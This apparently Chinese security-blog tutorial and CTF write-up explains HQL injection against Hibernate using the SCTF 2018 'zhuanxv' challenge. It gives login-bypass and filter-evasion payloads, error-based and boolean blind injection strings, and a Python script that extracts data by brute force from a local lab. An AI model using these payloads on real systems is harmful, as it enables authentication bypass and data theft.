freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

『渗透测试』HQL注入之从学会发音到逐渐遗忘
KeePass 2021-09-08 10:34:47 228902

日期:2021-09-03

作者:Obsidian

介绍:如题所述,本文将教会你如何正常的朗读HQL注入,以及如何遗忘。 : )

小编提示:关注 『宸极实验室』,回复 『0903-HQL』,即可获取测试题目附件。


0x00 前言

什么是HQL注入?
什么是HQL注入?
如果你想知道什么是HQL注入的话,
我现在就带你研究!

image

0x01 第一步

话不多说,首先来开始朗读教学。

HQL注入也就是Hibernate Query Language Injection

嗨波内特 亏瑞 兰桂芝 因杰克神

是不是很简单,那么,文章到此结束。

image

以下,正文开始。

首先,HQLHibernate Query Language的简写,可类比于SQL。那么,什么是Hibernate

Hibernate是一种ORM框架,用来映射与tables相关的类定义(代码),可以自动生成SQL语句,自动执行,在Java生态系统中很受欢迎。

HQLHibernate独有的面向对象的查询语言,接近SQL。在用Hibernate作为查询中间层的时候,Hibernate引擎会对HQL进行解析,翻译成SQL,再交给数据库执行。

所以,HQL查询并不直接发送给数据库,而是由Hibernate引擎对查询进行解析并解释。
这也就导致了,有两种错误消息的来源,一种来自Hibernate引擎,一种来自数据库。

HQL注入相比较于常规的SQL注入而言,十分特殊。
它的特殊性在于,它没有延时函数,没有系统函数,更没有元数据表等。

很多地方说HQL不支持UNION,其实是错误的。Hibernate支持UNION的。
但是,想要使用UNION,必须在模型的关系明确后,这种情况比较少见,所以会导致UNION失败。

所以,想要利用HQL注入,是一件比较极限和小众的事情。

image

0x02 第二步

首先,Hibernate可以使用原生SQLHQL,原生SQL的注入不在本文的讨论范围之内。

其次,所有的注入的漏洞点都是存在于输入的位置,HQL注入也不例外,例如:

getHibernateTemplate().find("from User where name ='" + name + "'");

HQL注入的常见类型可以总结为两种:布尔盲注和报错注入。
有错误信息的回显,就是报错注入,例如:

image

如果系统禁止了错误信息的显示,就只能尝试布尔盲注了。(HQL没有延时函数)
而且,HQL也没有元数据表,当没有错误信息的时候,表名和字段名只能靠猜。

image

下面,以一道sctf2018zhuanxv题目为例,进行了简单的修改,开启了报错。

image

登录框注入,单引号报错。

image

从中可以看到表名以及两个字段名。

常规的1' or '1'='1发现,等号和空格被过滤。

image

这时候可以试试<>或者like这种常规的绕过方式对等号进行绕过,空格可用%09或者%0A进行替代。

image

但是这种情况,虽然语句闭合,但是,并没有造成万能密码的效果。

HQL注入与常规注入不同,需要加上两遍or

image

image

发现成功造成万能密码的效果,进入后台,但这并不是我们的目标。

image

我们的目标是得到数据。
首先,构造一个错误的语句,例如一个不存在的列名,来爆出完整语句结构。

-w722
image

但这其实并没有多少用处。:)

image

既然存在报错信息,当然要尝试一下报错注入。

HQL的报错注入,一般是构造不同数据类型直接的转换,比如字符与数字之间的比较。

1'and(select 'AAA' from User)<>1 and''<>

image

正常来说,上述语句可能会返回如下报错信息:

Data conversion error converting "AAA";

很显然,由于题目本身的原因,报错注入失败。

image

只剩一条路,布尔盲注。
测试语句为1'or(select%09'a'from%09User)like'b'or'1'like'1

image

image

而且我们获取数据的语句,有两种方式,一种是常规盲注的字符串切片,利用substring等函数,例如:

1'or(select%09substring(name,1,1)%09from%09User)like'a'or'1'like'1

image

而另一种是利用%,当然,需要编码为%25,例如:

image

盲注的话,建议自己写脚本去自动化攻击,或者选择HQLMap
这是目前唯一一个HQL注入自动化工具,但是并不是很好用。

image

所以我个人更喜欢自己写脚本。

# -*- coding: utf-8 -*-
# Author:Obsidian
# Date: 2021年5月30日 14:11:42
import requests
url = 'http://127.0.0.1:9032/zhuanxvlogin'
s = '0123456789abcdefghijklmnopqrstuvwxyz'
flag=''
def check(exp):
	payload = {'user.name':exp,'user.password':'a'}
	result = requests.post(url,payload).content
	return 'Dream' in result
for i in range(1,100):
	for ss in s:
		exp = '1\'or(select\nsubstring(name,%d,1)\nfrom\nUser)like\'%s\'or\'1\'like\'1' %(i,ss)
		#exp = '1\'or(select\nname\nfrom\nUser)like\'%s%%\'or\'1\'like\'1' %(flag+ss)
		if check(exp):
			flag += ss
			break
	print 'flag is :'+flag

0x03 第三步

本文只是一个非常基础的介绍,并没有涉及到HQL的高深原理,作者本人也处在学习阶段。
如有错误,欢迎指正。

那么现在,你还记得Hibernate Query Language Injection怎么读吗?

是不是呼应上了? :)

image

Reference

https://www.calder-systems.com/articles/web/33954.html

https://www.anquanke.com/post/id/212897

https://jayl1n.github.io/2018/11/15/java-audit-step-by-step-3/

https://github.com/Hecbi/sctf2018-zhuanxv

# 渗透测试
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 KeePass 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
网络实战攻防
KeePass LV.5
宸极实验室,渗透测试/代码审计/红蓝对抗/CTF,base 济南,有问题可关注同名公众号后联系。
  • 36 文章数
  • 179 关注者
『红蓝对抗』内网渗透中 RDP 的那些事儿
2021-09-14
『渗透测试』记一次带防护的靶场渗透(一)
2021-09-08
『CTF』史上最全 RSA 题目总结
2021-09-08
文章目录